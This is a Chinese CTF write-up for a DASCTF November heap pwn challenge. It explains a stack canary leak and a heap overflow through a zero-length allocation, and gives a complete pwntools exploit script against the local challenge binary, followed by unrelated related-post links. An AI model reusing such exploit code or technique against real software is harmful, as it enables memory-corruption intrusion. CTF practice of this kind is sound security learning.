DASCTF NOV X联合出题人-PWN
太忙了,下午4点才开始做,,剩下的以后补上
签个到
逻辑很简单两个功能的堆,一个就是申请heap、还有一个是检验如果校验通过就会得到flag
申请模块
中间0x886是个很恶心的东西,需要我们绕过。
这个可以用len为0造成堆溢出来绕过
这里只需要将heap内容的前8位设置成canary即可,并且输入的data需要和heap+4到heap+12地方的内容都一样,一样也是可以绕过的
exp:
#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.arch = 'amd64'
p = process('./pwn_5')
elf = ELF('./pwn_5')
#libc = ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
def add(lent,name):
sla('> ',1)
sla('power length: ',lent)
p.sendlineafter('name: ',name)
def pwn():
sa('who are u?\n','a'*9)
ru('a'*9)
canary = uu64(r(7))*0x100
leak('canary',canary)
add(0,b'a'*0x14+p64(0x0000000000020d51)+p64(canary)+b"aaaa")
print(hex(canary//0x100000000))
add(0x10,p32(canary//0x100000000)+p32(canary//0x100000000))
sla('> ',2)
#debug()
p.sendlineafter('data: ',p32(canary//0x100000000)+p32(canary//0x100000000))
itr()
if __name__ == '__main__':
pwn()
DASCTF NOV X联合出题人-PWN的更多相关文章
- 牛客练习赛38 D 出题人的手环
链接 [https://ac.nowcoder.com/acm/contest/358/D] 题意 链接:https://ac.nowcoder.com/acm/contest/358/D 来源:牛客 ...
- 牛客练习赛38 D 题 出题人的手环 (离散化+树状数组求逆序对+前缀和)
链接:https://ac.nowcoder.com/acm/contest/358/D来源:牛客网 出题人的手环 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...
- 出题人的女装(牛客练习赛38题B) (概率+分式运算)
链接:https://ac.nowcoder.com/acm/contest/358/B来源:牛客网 出题人的女装 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...
- 出题人的RP值(牛客练习赛38--A题)(排序)
链接:https://ac.nowcoder.com/acm/contest/358/A来源:牛客网 题目描述 众所周知,每个人都有自己的rp值(是个非负实数),膜别人可以从别人身上吸取rp值. 然而 ...
- 出题人的手环(牛客练习赛38D 离散化+树状数组)
题目链接(https://ac.nowcoder.com/acm/contest/358/D) 题目描述 出题人的妹子送了出题人一个手环,这个手环上有 n 个珠子,每个珠子上有一个数. 有一天,出题人 ...
- 洛谷 P3299 [SDOI2013]保护出题人 解题报告
P3299 [SDOI2013]保护出题人 题目描述 出题人铭铭认为给SDOI2012出题太可怕了,因为总要被骂,于是他又给SDOI2013出题了. 参加SDOI2012的小朋友们释放出大量的僵尸,企 ...
- 【BZOJ3203】[Sdoi2013]保护出题人 二分+凸包
[BZOJ3203][Sdoi2013]保护出题人 Description Input 第一行两个空格隔开的正整数n和d,分别表示关数和相邻僵尸间的距离.接下来n行每行两个空格隔开的正整数,第i + ...
- 【BZOJ3203】保护出题人(动态规划,斜率优化)
[BZOJ3203]保护出题人(动态规划,斜率优化) 题面 BZOJ 洛谷 题解 在最优情况下,肯定是存在某只僵尸在到达重点的那一瞬间将其打死 我们现在知道了每只僵尸到达终点的时间,因为僵尸要依次打死 ...
- 一道超级坑爹的水题(ACdream oj 无耻的出题人)
A - 无耻的出题人 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 KB (Java/Others) ...
- BZOJ3203 保护出题人(defend)
保护出题人(defend) 题目描述 输入 第一行两个空格隔开的正整数n和d,分别表示关数和相邻僵尸间的距离. 接下来n行每行两个空格隔开的正整数,第i + 1行为 a i和 x i,分别表示相比上一 ...
随机推荐
- PyMySQL查询
title: PyMySQL查询 author: 杨晓东 permalink: PyMySQL查询 date: 2021-10-02 11:27:04 categories: - 投篮 tags: - ...
- 34.MySQL 架构
一主两从 双机热备 原理:
- Rsync等传统文件同步方式已过时 如何寻找替代产品?
Rsync原本是在Linux系统下面的一个文件同步协议,随着技术的发展,它也有其它版本的,如Windows和AIX.HPUX下面都有相应的版本可以支持的.它有很多版本都是免费的,配置也不复杂,所以很多 ...
- Kubernetes--案例:使用Ingress发布tomcat
假设有这样一套环境: Kubernetes集群上的tomcat-deploy控制器生成了两个运行于Pod资源中的tomcat实例,tomcat-svc是将它们统一暴露于集群中的访问入口.现在需要通过I ...
- Morris遍历以及Morris前序中序后序遍历实现
#include<iostream> using namespace std; struct TreeNode{ int val; TreeNode* right; TreeNode* l ...
- Mysql语句练习
某宾馆其关系模式如下:Room(房间编号,房间类型,价格)Customer(顾客编号,顾客姓名,年龄,电话)RC(房间号,顾客编号,入住日期,入住天数) 1 create database Hotel ...
- 基于Face-Recognition的计算机人脸识别安全认证程序
20202411 2020-2021-2 <Python程序设计>实验四报告 基于Face-Recognition的计算机人脸识别安全认证程序 课程:<Python程序设计> ...
- Jmeter添加Base64Img函数支持图片转换为Base64编码
将JmeterBase64-1.0-SNAPSHOT放置到\lib\ext下即可: 直接使用即可. 制作方式: Jar包通过IntelliJ IDEA创建maven工程后,导出package:
- xlwings简单使用
xlwings能够非常方便的读写Excel文件中的数据,并且能够进行单元格格式的修改 xlwings基本操作 打开已有的Excel文档 # 导入xlwings模块 # 打开Excel程序,默认设置:程 ...
- 【python_PAT_乙类】1007_素数对猜想 ,Python运行超时解决方案
题目: 让我们定义dn为:dn=pn+1−pn,其中pi是第i个素数.显然有d1=1,且对于n>1有dn是偶数."素数对猜想"认为& ...